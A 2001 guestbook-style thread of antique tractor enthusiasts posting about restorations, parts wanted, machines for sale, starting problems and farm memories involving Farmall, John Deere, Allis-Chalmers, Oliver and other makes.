Anthony Hahn wrote on Wednesday, June 06, 2001 (PDT):In reply to; Steve Desomer wrote on Friday, March 23, 2001 (PST) The reason why you can't start your Marshall is because on Field Marshall tractors, the flywheel spins in an anti-clockwise where as the Fowler Marshall crawlers ran in a clockwise direction. This was to accomodate for the extra bull gear in the final drives ! Happy starting, and it does not matter if the engine runs backwards for a minute or two, but no longer as the lubricator will not work ! Hope this will have helped you.
David wrote on Wednesday, June 06, 2001 (PDT):Have a '56 WD 45 - Does anyone know if AC built a post hole digger for their snap coupler system? My gramps farmed for years with this tractor - Always put it in the shed and took great care of it.
Duane wrote on Wednesday, June 06, 2001 (PDT):I just started my first tractor restoration working on a 1940 WC that is my in-laws. These things are great. I am in the Wichita, Ks area if anyone is interested in helping out a first timer!!
jack connolly wrote on Tuesday, June 05, 2001 (PDT):Just received '37 F-20 from my wife's brother.Where can i get a manual for this tractor?
Larry Prater wrote on Sunday, June 03, 2001 (PDT):I Have a H in my barn...It is all there except the Carb. I bought this from Grandsons and I to restore. Can't wait tell she is all painted up and running. Did any of the H tractors have PTO's the one I have does not have a PTO
T. Forester wrote on Sunday, June 03, 2001 (PDT):I have a 420c For sale engine loose missing one track sheet metal very good can send pictures am asking 1700.00 o.b.o. phone# 816-779-5738 or WWW.TFFCRAZY at AOL.COM
Richard wrote on Sunday, June 03, 2001 (PDT):I own a Super Fordson Major, and they are very reliable, even if it is quite an old tractor. We also own 2 Ford 7610`s, 1 John Deer 6400, 1 Case International 485 and 1 MF 550.
Ray Correll wrote on Sunday, June 03, 2001 (PDT): Just bought a model 60. It is a 1955 with power steering, live pto, tachometer and the original JD 3pt hitch. It is a narrow front end and has a model 45 JD loader on it. I love the tractor and it runs and looks great. It was a one owner tractor.
j c lange wrote on Saturday, June 02, 2001 (PDT):as far as i'm concerned the M is one of the best tractors made. i have one of the older models and it's my baby.
Gord wrote on Saturday, June 02, 2001 (PDT):I own a Oliver 770 narrow front end row crop tractor. It's approx. a 1962 model. I'm in need of the gauge cluster on the left side of the dash that includes the fuel and temp. gauge and the amp. and oil light, it's approx. 4 inches in diameter.If anyone knows where I could get this cluster or get my own repaired could you please Email me. Thanks,Gord.
Jeff Wood wrote on Friday, June 01, 2001 (PDT):Hi I believe to have a 1953 DI tractor there are no Id tags. It has a foot clutch, I am looking for a pressure plate if you can assist me please email me thanks.
Phil Levitte Michigan wrote on Thursday, May 31, 2001 (PDT):If Packard had built a tractor it would have been the 500
Josh Stroh wrote on Thursday, May 31, 2001 (PDT): My dad and I have an Advance-Rumley 6 that is in restorable condition. I would like any information on original colors, where I can find parts, ets. I would really appreciate any information about this tractor, so that I may restore it to near-perfect condition.
Duane Fleming wrote on Thursday, May 31, 2001 (PDT):Trying to find a loader for a International 300 utility, What size or model? I am not particular to the manufacturer if any one knows of an after market brand.
Nick Russo wrote on Thursday, May 31, 2001 (PDT):Just purchased a 1949 Super AV w/cultivators,currently looking for the sidedressers for this great tractor!!!NJ area
Clinton wrote on Tuesday, May 29, 2001 (PDT):I have a Pony tractor and have a question about the fan. It's an oil filled fan, but there is no seal on the back of the shaft. How full do I fill the housing, and is there supposed to be a seal or gasket?
JT Anderson wrote on Tuesday, May 29, 2001 (PDT):I'm buying a Woods Belly mower. I like the idea of the 59" wide mower cutting the Grass prior to the rear wheels running over it,, but I am concerned is there enough horse-power to run this 59" mower. I only mow about 3/4 acre so would the 42" be better..I also have alot of trimming next to fences trees etc..Please E-mail Me with Your experiences Thanks ***JT***
Dan wrote on Tuesday, May 29, 2001 (PDT):My uncle had an H that we would use from time to time. We found that the 6v battery made this tractor a little hard to start too. That's when we found out what the H stnads for. Hill. If you park the tractor on a hill, it's easy to start! Just put it in 3rd, clutch it, and pop the clutch after you start moving!
Dan wrote on Tuesday, May 29, 2001 (PDT):My grandfather had an 8N that he gave to my father. I learned to drive on this little tractor. We would drag fire wood in each year, and I have yet to see another tractor that will pull such a load for its size. Many times we would steer with the brakes because the front tires were barely on the ground. We found/manufactured steel wheels for it (that I now use on another tractor) and after putting in a radiator guard, and attaching a 5 foot bush hog, it would mow down anything smaller than your wrist. I LOVED that little tractor!
Dan N wrote on Tuesday, May 29, 2001 (PDT):We have a restored m and a restored super m, and they are the handiest tractors ever, we also have 2 5488's and a 1086, and a 966, on our farm in michigan, and the 2 88's are the best, but the farmals are really handy for raking hay, and pulling wagons, they used to be good for spraying, but now the 88's and the sadle tanks work better.
red power wrote on Tuesday, May 29, 2001 (PDT):We have 2 5488's and a new mx 100, and the older farm equipment that my granddad, and dad used were the best, they were better off without all this technical computer system and all the gadgets. we farm 11000 acres in iowa, and a 1566 in its dayw ould farm our ground just as well as our 9370.
Dan N wrote on Tuesday, May 29, 2001 (PDT):We use Internationals on our farm,we had a 1066, blackstripe, we used it so much in all its yars we had to trade it off with a total of 11000 hours on it, we replaced it with a case international 7210, the 1066 is still my favorite.
Don Serdynski wrote on Monday, May 28, 2001 (PDT):Just acquired an Oliver super 55 and plan to restore..Any info available would be appreciated...d
Stan wrote on Monday, May 28, 2001 (PDT):I have just aquired a F-12 (I believe) with a tricycle front end. The tractor is in rough shape. I was wondering what the value would be and the likelyhood of selling or a partial trade for an "A".
murray stead wrote on Monday, May 28, 2001 (PDT):I own a case tractor 10 18 1919 year , possibly the oldest in new zealand. Any questions please email me at above e mail address. It is for sale.
Gary Wiltbank wrote on Sunday, May 27, 2001 (PDT):My neighbor is looking for a rear wheelrim for a silverking. Contact me if you have one for sale ,enclose e-mail, and phone number.
bobby hunt wrote on Sunday, May 27, 2001 (PDT):the case tractor pictured at the beginning of this artical is like the one that my son and i had just got it running good when i bidn't check the antifreez and it froze and pushed the freeze plugs out now i have to replace them before we try to get it running again.we also have a 1947 and a 1962 that we are tring to get running
Tim Cain wrote on Sunday, May 27, 2001 (PDT):I'm selling my collections of tractors, I'm mostly interested in steam, and I do have a steam engine. I have a Case La 1945,Case "C" 1932, Allis Chalmers b(2), Allis Chalmers "WC", John Deere "MT", total for all $12,000.00 I live on the East side of Green Bay,Wi If interested please e-mail me.
Steve wrote on Sunday, May 27, 2001 (PDT):My neighbour is selling a 550, not sure of year, possibly late 50's. Not the prettiest of shape but has potential for restoration. Starts well, but has govenor problems. It does not idle and when throttle is set it tends to race away. Has anyone experienced problems with govenors and what is the remedy. Also, what is a fair price for a model like this(Cdn Funds). Tractor is funtionable but needs rubber and water pump. Thank-you
Rich Johns wrote on Saturday, May 26, 2001 (PDT):Can anyone tell me where i could find wheels for a Massey Harris 81? If so contact me at rjohnsii at hotmail.com
Daniel wrote on Saturday, May 26, 2001 (PDT):A friend of mine recently purchased a MH Pony and is in need of a crankshaft. There is a serial #N62-C500 imprinted on the crankshaft.If there is anyone out there that can help us to replace this part, please E-mail me with the information.We live in Northern Ontario,Canada. Thanks!!
Bill Davis wrote on Friday, May 25, 2001 (PDT):I have a friend with a 6 cyl. Funk Ford, who is looking for an oil pump/distributor drive gear and any other parts he can find. I had never heard of this tractor before but am quite familiar with the Funk Aircraft Co. that did the conversions.
Kimberly wrote on Friday, May 25, 2001 (PDT):Please forward any information regarding Co-op #2 Tractor, especially paint codes. Thankyou
Joe Wolfort wrote on Friday, May 25, 2001 (PDT):Iwould like to purchase a BO,MC or 420 crawler with a blade or loader in the area of western N.C.,North Georgia,Western So. Carolina or East tenn.I prefer a running machine in decent shape.An oliver oc3,orHG would also be considered.
Jim Burbridge wrote on Thursday, May 24, 2001 (PDT):I am in the process of restoring a 1948 Case SC. I know if I researched enough, I would find out the original paint scheme, but if someone knows the paint colors with #'s, I would be greatful. Also where could I find original decals? Although it has an electric starter, I also need the crank for hand starting for authenticity. Suffering from tractor fever in Orting, Washington
Robert wrote on Wednesday, May 23, 2001 (PDT):Help! I have an Oliver tractor S/N 6192-500. It looks like a Super 55 in the grill area, but the cowl appears to have 550 imprinted on it. The S/N does not show up on the lists I have found on the internet.
Brian Backstrand wrote on Wednesday, May 23, 2001 (PDT):Looking for a D-17, gas or diesel, with or without loader in Southern Wisconsin, Eastern Iowa or Northern Illinois. Thanks, Brian
floyd wrote on Wednesday, May 23, 2001 (PDT):might be getting 47 vac that was owned by my grandfather need to know if parts are readily avail.the tractor was purchased new in lanesville in at the case dealership.
Alec Webb wrote on Wednesday, May 23, 2001 (PDT):I remember driving one of the tractors when only a boy of about ten years of age. The farm that my father worked onwas Oughton Head Farm in Hitchin Hertfordshire England and the Farmer was a Mr Moss who owned several tractors of this model which were used for aspects of farm work from ploughing to cutting corn & threshing. At a later date bought an SC three wheeler was used mostly for trailer work with sheep
Graham Vayro wrote on Wednesday, May 23, 2001 (PDT):Hi! My dad owned a MF 55 from new when I was young and I spent many hours driving on a broadacre wheat farm near Dalby Queensland Australia. It was a petrol start, Kerosene run. My Dad brought the Massey to Redland Bay when he moved and eventually gave it away for a supply of chicken manure (for fertilizer). I have just bought my first tractor, a Massey Ferguson 135 Diesel with loader and am having fun. Graham Vayro
John Wiedman wrote on Tuesday, May 22, 2001 (PDT):Our 2010 John Deere we did alot of work with it and it was a very good tractor. Back in the 60's we put up hay and plowed our fields with our 2010 tractor and we were able to pull 3-16 plows with our tractors. It was one of the best tractors we ever own.
Lynn wrote on Tuesday, May 22, 2001 (PDT):I already own a 60% restored B machine, I have had trouble from day 1 with the magneto timing slipping, it has both hand crank and electric start. When I attempt to hand crank the engine it KICKS like a mule. Any sugestions? To all of those other people who have problems with their "pouty Mouths" stay off the computer's will ya?
Joe Novicki wrote on Tuesday, May 22, 2001 (PDT):Need power steering parts for Fordson Major Diesel. Current tractor has no power steering. Can you help?
Zach Craig wrote on Tuesday, May 22, 2001 (PDT):I have a Farmall Super H and a Farmall C which I plan on restoring both plus we have an International 1086.
Eddie Stephens wrote on Monday, May 21, 2001 (PDT): Hi I Hope someone can help me.I am looking at a farmall M-D. 1950 model starts on gas runs on diesel. is this correct can anyone give me info on this tractor im looking to get into the hobby if you can help me please e-mail me at txnascarfan3 at earthlink.net thank you.
Daryl Pohlman wrote on Monday, May 21, 2001 (PDT):I have a 1959 350 Utility with manuals, and some attachments (shreader, blade, plow). They will be going up for auction on June 23, 2001. Tractor ran the last time it was parked in the shed (about 5 years ago). Needs some work, but a good project for someone. Contact me if you have any idea of worth or interested in purchase. Thanks.
Jennifer wrote on Monday, May 21, 2001 (PDT):I love tractors! Just about every weekend during the summer we go to tractor pulls or tractor shows. I asked my dad to get me a LA.
Al. Currie wrote on Sunday, May 20, 2001 (PDT):Interesting website! I live up in Saskatchewan and have an operating LA. gas. Just used it to seed 30 ares of wheat just for fun. Have a couple or parts tractors and can help with mech questions.
R. Yetter wrote on Sunday, May 20, 2001 (PDT): I also have an 1934 L Case that I'm restoring, but I'm having problems with the magnito. Is there someone who knows about mags? please e-mail me back.
Kevin McIntosh wrote on Sunday, May 20, 2001 (PDT):I just bought a '37 Farmall F-12 at my Gandfather's estate sale. It was bought new by my Great-Grandfather in 1937 an used to farm about 80 acres. I am planning on restoring the tractor(my first) and would like help on getting started. The engine is stuck and that is my biggest hurdle. If any one has an idea of where to find good reference material please e-mail.
Greg Smith wrote on Sunday, May 20, 2001 (PDT):I converted my wd 45 diesel to gas 15 years ago. You must have the flywheel, starter,throtle assy,raditor,longer hood, and also do some modifications to the left frame rail for injection pump clearence. The rest of the tractor should be fine.
Scott wrote on Sunday, May 20, 2001 (PDT):I would like more sights and information on 15-30 tractors I have a 1923 model that was handed down to me from my grandfather
Dennis S. wrote on Saturday, May 19, 2001 (PDT):For years a F-14 was the only tractors on my Dad's farm (really a hobby farm, I guess). It was a multi-fuel, and had the little tank on top of the hood. That tractor was the first I drove and the4 first I started by myself. I knew where to set the Mag advance so it wouldn't kick. I don't know how little I was, but I remember setting the crank sideways and getting on top of it to swing it. And did I catch -ell for that! But that "old" tractor was the only tractor to start when it got to twenty below and stayed there for a week. That "14" was belted to the neighbors JD's to start them, and they had been sitting in a nice warm barn all night. The "14" sat outside under a tree, while our new tractor sat in the shed and also refused to start.
frank wrote on Friday, May 18, 2001 (PDT):need 160 stabilizer bar
Chad Hicks wrote on Friday, May 18, 2001 (PDT):I am rebuiding the 560 diesel tractor with Rick Lahmers and let me tell you when you need to do something that tractor never lets you down.
Chad Hicks wrote on Friday, May 18, 2001 (PDT):I am rebuiding the 560 diesel tractor with Rick Lahmers and let me tell you when you need to do something that tractor never lets you down.
Gareth Philip wrote on Thursday, May 17, 2001 (PDT):I have just aquired a A C model B, the serial # in front of the seat is B80071. I wonder if anyone can tell me the year it would be? This is a Canadian tractor (lived here anyway)as far as I know. Thanks Gareth
Rick Lahmers wrote on Thursday, May 17, 2001 (PDT):On our farm we have 3 Farmall 560-Diesels and i am currently rebuilding one and i have it tuned to 80 horses with no turbo and it has duals on it and can all ready pull a 14 foot disk when it only has 65 horse.The Farmall 560 is the best row crop tractor ever
Monte Hodges wrote on Thursday, May 17, 2001 (PDT):Where can i find a engine oil filter for a gas Oliver 550, also looking for hyd. filter (located just below and in front of seat). I may be wanting to sell my Oliver also, it has no attachments with it. Can e-mail with any questions. I have tons of pictures...
Paula Dailey wrote on Thursday, May 17, 2001 (PDT):I need a photo of a John Deere tractor that would have been used on farms before and during the great drought and dust storms please call me at National Geographic School Publishing 202 857-7074. Urgent.
Blake Tucker wrote on Thursday, May 17, 2001 (PDT):I love your tractor and I would like to buy one like yours to restore if any one can help me find one I would be very interested thank you. PH (270)-668-1445
Tim wrote on Thursday, May 17, 2001 (PDT):I recently purchased a D17 series four.. Gotta get the brakes done on it.. Rods where sheared off.. Does anyone know where I can get fenders and lights for it resonable.. Also the front grill.. Someone just put screen over the opening.. And does this tractor run well.. Besides the other problems and needing new rubber all around not a bad deal.. It has a loader.. But I need to find a manure bucket for it. Trip style... Thanks
Steve C. wrote on Wednesday, May 16, 2001 (PDT):Hi, just bought my first JD, its a 1944 model B styled. Very little green left on this tractor and its in pieces. I've just started to put it back together and was wondering if anyone could tell me where I might purchase a seat. I have a metal one but its rusted pretty bad. Thanks for any help on this.
dave miller wrote on Wednesday, May 16, 2001 (PDT):I know where there is a ac-g. They are asking 2800.00 for it. Can anyone tell me if that is a good buy? It runs good and needs some TLC. Thanks
Darren wrote on Wednesday, May 16, 2001 (PDT):We have a '33 F-12. It was the first tractor on the family farm which my great-grandpa and grandpa bought brand new. Now it's mine and I've just started restoration!!
gary wrote on Wednesday, May 16, 2001 (PDT):Iwas raised on a farm in Ohio in the 1950's and my father always used Oliver tractors.I now live in Florida and would like to have an Oliver tractor of my own.Perferably a Oliver 55 or a 550 at a reasonable price.thank you
Rick Robinson wrote on Wednesday, May 16, 2001 (PDT):I have just purchased a Ferguson to 35 serial # SGM170757. Currently it is painted red and silver. As I work on it I am finding some green paint on rad and a creme colour in other places. Just wondering if anyone could help me find out what the original colour of this tractor was when built? Would appreciate any feedback or suggestions that anyone has to offer. Thanks Rick email; breric at mnsi.net
Kevin wrote on Tuesday, May 15, 2001 (PDT):Please send us infromation on any Ford tractors in the 500 series!! Thank you sooo much;)
Kevin wrote on Tuesday, May 15, 2001 (PDT):Can you tell me where I can buy this tractor or others in the 500 series. This is very important to me so please contact me a.s.a.p with information, on this tractor and others like it. Thank You
RED POWER wrote on Tuesday, May 15, 2001 (PDT): You know Jarod I just can't believe that a person could like having junk like that around. I mean you know the problems first-hand. The tranny's in those things, in my opinion, are junk. A person spends more time messin' with the gears than actually driving it. I guess that is why Internationals were invented!
Charles Sharp wrote on Tuesday, May 15, 2001 (PDT):I have a mid 50's Co-Op 40 tractor. It's been in storage after the farm was sold. Always kept indoors. Runs well but needs an engine overhaul as it has no oil pressure.It's been repainted and all there. PTO. Looking to sell it since we have no use for it. Can anyone give us an idea of a price to ask for it?
Mike Trimmier wrote on Monday, May 14, 2001 (PDT):hey folks, My friend and I just acquired a 52 model FC farmall. It has the narrow front end and engine driven hydraulics but in the front like for a loader or some other device. question is, is this a c model or what. the engine is locked so we are working on it but would like to know what it is exactly. draw hitch on rear with no hydro. Just thought I'd ask and see. looks to have a timing chain driven pump with the hoses going to a unit just ahead of the battery. any information or opinions would be appreciated. MT
Ray Stowers wrote on Monday, May 14, 2001 (PDT):Enjoyed seeing the pix of your 9N. I have a '46 9N that has been in the family since new. It has the Sherman step-up transmission. I still use it around the homeplace. It has got to where it cuts off sometimes. Have replace the wires and carb. Let me hear from you other 9N owners.
Marvin Simonson HC 87 Box 7 Sumpter Or 97877 wrote on Monday, May 14, 2001 (PDT):I have a 1954 TO 30 Harry Feguson tractor for sale. It was overhauled recently and runs good. Has a front blade and other attachments. I also have the original manuel. The front part of the hood is missing and the grill has been altered to alllow the cylinder for the blade to work. This could be easily restored. Set od snow chains too.
Paul Keele-Box 421 Mackay Idaho 83251 wrote on Monday, May 14, 2001 (PDT):I have a Model 70 Row crop for sale. It runs good and is in fair shape. Contact me at the above address.
Andy wrote on Monday, May 14, 2001 (PDT):I am looking for a D14 to purchase.....contact me!
Dave B wrote on Sunday, May 13, 2001 (PDT):I have just restored a Super C which my grandfather bought new. I have found the original 2 row mounted planter which is a little rusty but totally intact. It has all chains, as well as fertilizer boxes. The "seed" hoppers were originally blue with white pinstriping and a decal which is not legible...McCormick is barely readable. Can anyone tell me more about this planter....and if it is worth restoring....and if decals are still available?
Warren Cochran wrote on Sunday, May 13, 2001 (PDT):Where can I find something on a 445 corp of engineers. It's a pull tractor. If anyone has information E-Mail me
Lyle Krautkramer wrote on Sunday, May 13, 2001 (PDT):For Sale; Completely restored WD45. Excellent shape. Wide front end, snap coupler draw bar, pulley, original 6 volt system. Excellent sheet metal. Contact via e-mail Copper2602 at hotmail.com or by phone at 1-715-443-2067 Asking $2500
Rick Byrd wrote on Saturday, May 12, 2001 (PDT):I have just purchased an A' and cannot get enough of it. It needs paint all around but has no deterioration- anywhere. I have a new muffler for it but have no stack to mount it on(very thin and crushable exhaust pipe remnant). So, I am now considering buying an exhaust manifold with associated piping to accomodate the muffler. Any better ideas out there? Am also interested in getting one set of front wheel weights- have a pair of 140 Lbs on rear already. Any help on this as well?
Jarrod Gerten wrote on Friday, May 11, 2001 (PDT):We used to have a 1066 and now I wish we haden't sold it, because it was a pullin fool. If anyone has any pictures of any 66 tractors please send them to me. Thanks!
carl handy wrote on Friday, May 11, 2001 (PDT):First tractor I ever drove--77 Oliver row crop. I was about 8 years old... all by my self. We owned a 66 row crop too.. traded it for the 77.
Rick Stieve wrote on Friday, May 11, 2001 (PDT):I am looking for the hyd. bank that goes under the seat to control hyd. for equipment. Also after I plow for awhile and turn the tractor off it won't start until it is cooled down and the battery goes dead. any suggestions?
Cameron wrote on Friday, May 11, 2001 (PDT):I just recently purchised a "Super BWD6 tracter and need to know it's weight so to transport it home. Please contact me if you know any; information, it's weight or any comments on them.
PUTTS wrote on Friday, May 11, 2001 (PDT):This is one tough lookin' tractor!
scott thul wrote on Thursday, May 10, 2001 (PDT):i own a 1950T rowcrop i don't know,but the airclearers don't like right or like my tractor at all
PUTTS wrote on Thursday, May 10, 2001 (PDT):I've got an Oliver 2050 with a turbo. I'm looking to pull it with my other tractor this summer. Does anyone know the weight of this tractor with out all weights on?
PUTTS wrote on Thursday, May 10, 2001 (PDT):MM's just have wicked power. I used to own a Super M670. Talk about power to spare. It was only a gas, but that thing really hauled. It was really heavy compared to other tractors ots size, but it made up for it in horsepower. Nothin' like throwing the T.A. back when hauling heavy loads and listening to that monster beller!!!
no matter wrote on Thursday, May 10, 2001 (PDT):Actually, we have a 901 seolect-o-speed tricycle front end, tractor, so the "7" theory is wrong!!
gary wrote on Thursday, May 10, 2001 (PDT):I grew up with 2 cylinder JD's from the time the horses left the farm in 1950 when they were replaced by the "M". Right now I have an R for parts if anyone needs any. I bought it for it's parts but the R I had never broke down and needed any. I also have a 70 diesel standard that runs.
Thomas Milke wrote on Thursday, May 10, 2001 (PDT):I have a leader and ruinend the big gear and some others while plowing snow one year. bought an earlyer tractor but the shafts and gears are smaller. what can i do. tom members.nbci.com/_XMCM/ttdjm/index.htm
Kelly Beck wrote on Monday, May 07, 2001 (PDT):I grew up on an 80 in North Dakota. Before I was big enough to even pull the clutch, dad would get me started and jump off. I'd hit the throttle and be gone. I'd like a dollar for every mile of furrow we covered together. We'd pull the same load as the 4020, all day long and burn half the fuel - great tractor, wish I had it now. The man who got ours won't sell. Dad hooked a 6 volt lantern battery together with the tractor's battery and we could power a 12v tractor radio. They could hear us singing for miles. Swing by Grandma's garden and fill your pockets with onion tops and rhubarb - enough cud to chew for a long time.
Toby wrote on Sunday, May 06, 2001 (PDT):i have recently purchased a farmall super C (FC 183070, i believe it is a 1953 year model. also with this i got another c for a parts tractor and the serial number plate is missing. my question is how do i find out what year or model it is?
Charles R. Colen, Jr. wrote on Saturday, May 05, 2001 (PDT):I need some help! I have a Ford 671 Select O Speed and I need the entire back end for gears. Does anyone have these parts and are willing to sell them? If so please send information with a price. Thanks!
Anton Hansen wrote on Saturday, May 05, 2001 (PDT):I like your restoration. Would be available resource for H questions ,3 pt. hitch design, electrical and etc. I could use a seat and supporting brackets for a Farmall B.
Steve S. wrote on Saturday, May 05, 2001 (PDT):Dave I would try the 60" mower on your BN the HP for this tractor is 17 drawbar and 19 pto. & belt pully. I have a 1945 BN and that is the size mower deck i would put on better to have plenty of power than not enough.
Larry Brown wrote on Saturday, May 05, 2001 (PDT):I have 2 model C's that I have belly mowers for. Because I miss placed 1 of my pullys that goes on the pto shaft to run the belly mower. Its a v-belt.If someone knows were I can get a complete v-belt pully, Please e-mail, brownep at aristotle.net
Andrew wrote on Saturday, May 05, 2001 (PDT):I have B exactly like that runs good and has no rust and is completly restored. But all it needs is a hitch. If anyone has one for sale send me an email,
Bren wrote on Friday, May 04, 2001 (PDT):For my Farmall B I am looking for a grill, one bottom dirt plow with all of the brackets, and am interested in any other implements for the B.
Mandy Smith wrote on Friday, May 04, 2001 (PDT):Just bought a case tractor s/n "SO 8031542" I am assuming its a model SO, think its a 1944-1946? Any help anyone can give me in the identification of the thing? Thanks
RED POWER wrote on Thursday, May 03, 2001 (PDT):John Deeres are nice tractors, if you like trying to mess around with those god-forsaken power shifts. I mean who wants to screw around with shifting. Give me an old red and white binder any day, and feel the power of throwing back a Torque Amplifier and seeing power in the making. But like Chris Roberts said above opinions are like ass-holes, everybody has them. RED POWER FOREVER!!!!
Ken wrote on Wednesday, May 02, 2001 (PDT):I have a Pony with no serial number tag. Can anyone tell me if there is some other way to determine the year of manufacture. The tractor is red (repainted years ago) with gray wheels that seem to have original paint. Is this possible?
Dawn Scudmore wrote on Wednesday, May 02, 2001 (PDT):we just got back the 66 and are looking for parts to restore the tractor so far we need the rims for the tires. if anyone can get us some at a good price i will be looking. let me know
Bruce Noack wrote on Wednesday, May 02, 2001 (PDT): LOOKING FOR A SET OF RIMS FOR THE REAR EITHER A SET TO FIT A SET OF 12.4 OR A 15.5 TIRE. ALSO A CARBURATOR FOR A 4 CYL 44. BOUGHT THE TRACTOR FOR 250.00 I AM STARTING TO RESTORE IT FORM THE FRAME UP.TALKED TO A PERSON WHO SAID THAT RIMS FROM A JD A ARE THE SAME .
Mark Weinheimer wrote on Tuesday, May 01, 2001 (PDT):I've been an H lover since 1970. I raised vegetables with an H and a 9N. I purchased a bolt on 3 point hitch for that tractor and ran it for 5 years. One of my saddest days was when I sold that tractor. In 1992 we moved back to the country. I've since purchased an H, Super H and an A. I've built 3 point hitches for the A and the Super H. I get a big kick out of working on and using these old beasts.
Holly Campbell wrote on Tuesday, May 01, 2001 (PDT):My Dad has two pony tractors he is fixing up . And could sure use some help in finding parts. If you know could you please tell us . thanks
Joe Hughes wrote on Monday, April 30, 2001 (PDT):My dad and I have a 1946 model M that we restored a few years ago. We are currently working on a 1954 40C. We bought it in January and it was pretty rough. Next week we are tearing down the steering clutches and hope that anything that needs replaced is available at our John Deere store in St. Paul, Oregon joehughes at joehughes.com
dave wrote on Monday, April 30, 2001 (PDT):i resently bought a wd 45 dieseal am trying to restore it but it is taking a lot of time and money hopefully will have it done soon
David Snelling wrote on Monday, April 30, 2001 (PDT):I`m looking for a front end loader for my D17, any ideas would greatly be appreciated.
gene letttich wrote on Sunday, April 29, 2001 (PDT):wandering if anyone could help me,got a50;s model vac case needs some parts to get her up and moveing again she runs but poor power,thanks from sacramento,pa
Ron Mitchell wrote on Saturday, April 28, 2001 (PDT): Hi - The MC belongs to me - if anyone has questions or comments, they can contact me direct at phoenyxx at home.com I'm not on here to check very often, but feel free to e-mail me. Thanks, Ron
Larry McNallen wrote on Friday, April 27, 2001 (PDT):There is a 1964 Fordson Major diesel in my area (VA) foe sale for $2900. Everything looks good on the tractor except for the hood and grill. It starts right up, no smoke or missing. Before I pester it's present owner with further testing I wanted to find out more about getting replacement parts - how hard and how much? - and what kind of faults i should lookout for. Thanks
Ben wrote on Friday, April 27, 2001 (PDT):nice photo and dont worrry about those "anoracks" you paint your tractor the colour you want too. from Ben Cradock in Wiltshire-England.
Dennis G wrote on Thursday, April 26, 2001 (PDT):I have a 1957 720 wide front diesel w/pony motor. Does anyone know what type of fenders that would orginally come with this tractor. Clam shell or elephant ears? Any help would be greatly appreciated. Thanks Dennis G
louie wrote on Thursday, April 26, 2001 (PDT):I finely got my "G" model up and running This little old tractor realy puts out the work The implements are sure easy to keep lined up in the rows and are alot faster to install than I had thought But I sure could use a pulley and sickle bar soon here in southern Mississippi we get alot sun and enought water to cause the grass to jump up in a hurry.More later Big Lou PS. Yes little Lou helped to get Our "G" running
Dave wrote on Wednesday, April 25, 2001 (PDT):When my grandfather passed away he left me a BN and I am going to restore it and would like to run a Woods undermount mower on it. I looked at Wood's website and they have a 72" mower but it takes atleast 20 horsepower to run it. They also have a 60" that takes 15 horsepower. If anyone could tell me how much horsepower my BN has I would be very appreciative. Also if anyone has any other tips on restoring my BN please contact me at; remingtonman at outdrs.net
ian burnage wrote on Wednesday, April 25, 2001 (PDT):I agree, the wheels on the fordson major were orange,i was brought up at the age of 13 driving these tractors from the 70s right up to the 90s, i worked on a farm at clapham bedfordshire E.W.Straford where time stood still.
Guy Heberling wrote on Tuesday, April 24, 2001 (PDT):We just purchased an Oliver crawler tractor OC-3 four cyl/gas engine 1948 and need help getting it going. I think it's the magneto, because it will turn over, but can't get any spark. Any help you can give will be greatly appreciated.
Wayne Kachmar wrote on Tuesday, April 24, 2001 (PDT):Just bought a 57 420c. Not as nice as the photo but seems in good overall condition. One problem is an oil leak in the left steering clutch. I'm new to crawlers and am interested if anyone has parts such as seals or can provide advice on the repair of this nice little machine. This unit has a dozer blade with manuel angle attachment. I noticed a crack in the weld on one side of the support for the blade. Is there any recommendations for how to attack this other than a weld over the existing crack? I don't believe that there is enough room for a fish-plate between the bracket and the edge of the track. Up here in Vermont we see a lot of snow and mud, is there any recommendations as to the maintainence of the lower rollers in this type of environment? Any help or leads for a source of parts would be appreciated. Thanks
robert dendinger wrote on Tuesday, April 24, 2001 (PDT):hey you guys im shocked to see any body who knows what a allischalmers is we have three ko crawlers on are place and they function and seven model ms and they also work plus 13 other tractors especially tiny wheel tractors i can be reached atdendingero at aol.com
Kathy wrote on Tuesday, April 24, 2001 (PDT):I need HELP to reattach my plow. I am clue less about tractors I have a AC "C" built in the 50's. A picture would help tremendously or if you know where I can get a manual.
Kathy wrote on Tuesday, April 24, 2001 (PDT):I need HELP to reattach my plow. I am clue less about tractors I have a AC "C" built in the 50's. A picture would help tremendously or if you know where I can get a manual.
Bruce Anderson wrote on Tuesday, April 24, 2001 (PDT):I own a working 500 dieseland I'm looking for a oil pan. Would consider buying one for parts. When you have a tractor as great as this you want to keep it up.
Ed Vickers wrote on Tuesday, April 24, 2001 (PDT):I have a 1948 V.A.O. . Im looking for a steering box the steering box off a va or vac will bolt on but they put the .steering wheel assembly at the wrong angle.If anyone has parts or knows where i can get parts please let me know .thanks
Ray Sutton wrote on Monday, April 23, 2001 (PDT):I have the opportunity to purchase a VAI case tractor, but am not sure what it is worth. It has PTO, seems to be all original, frontend loader made by favorite company and a drag scoop. I would appreciate if someone could give me an idea of what I should pay for it.
papab wrote on Monday, April 23, 2001 (PDT):first tractor i drove in my life at the age of six . my grandfather purchased it in 1950 .inow own it and am restoring it . im from sask canada .keep up the good work
James D. Wampole Sr. wrote on Sunday, April 22, 2001 (PDT):I,m In need of a used head for my 1926 regular ,the one I got had small cracks In water jackets, also valve guides were bad, have found 6 complete regulars in northern Wis. Will have to wheel and deal. Hopefully.
Jon Mason wrote on Sunday, April 22, 2001 (PDT):Have '48 E3 and need clutch parts for it. Great running tractor but I need help. I would prefer new parts, but of course who would'nt. I will take all help. Thanks.
James Rohrer wrote on Sunday, April 22, 2001 (PDT):Newton's comments on the M's with a Super M engine struck a nerve. I purchased a M a few years ago and the guy called me back about a year later to tell me that he thought that it was really a super M. I have never heard anyone else ( until Newton ) mention that before.
mike bergeron wrote on Saturday, April 21, 2001 (PDT):I am looking to purchase a pacer 16.prefer a nice original tractor. prefer that is has not been repainted. also want one that is on the eastern part of the usa or in eastern part of canada ie, ontario or quebec. thank you...mike
stan s wrote on Friday, April 20, 2001 (PDT):I have a 1956 720 with 3point hitch hyd, pto wide track & 820 stdrd. mod, A for sale, 720 & 820 run, A froze up, Good shape, If intrested send email ill send pix.
Brian wrote on Friday, April 20, 2001 (PDT):I have a 1928 Farmall Regular ,restored, We have a world rated power lifter who challanges it to a show of strength ,tug of war at our vintage shows, Wearing a harness and holding a ladder (pegged to the ground)Roped back to back he managed to hold the regular for a record 21 seconds (spikes removed ) Its a real crowd puller,at our antique tractor shows Brian Calitz
Scott wrote on Thursday, April 19, 2001 (PDT):We own a Massey Harris "44 Tractor. We are presently trying to get it running. Hope to get it running restore it all and have it in the Farm Progress show. See y'all there
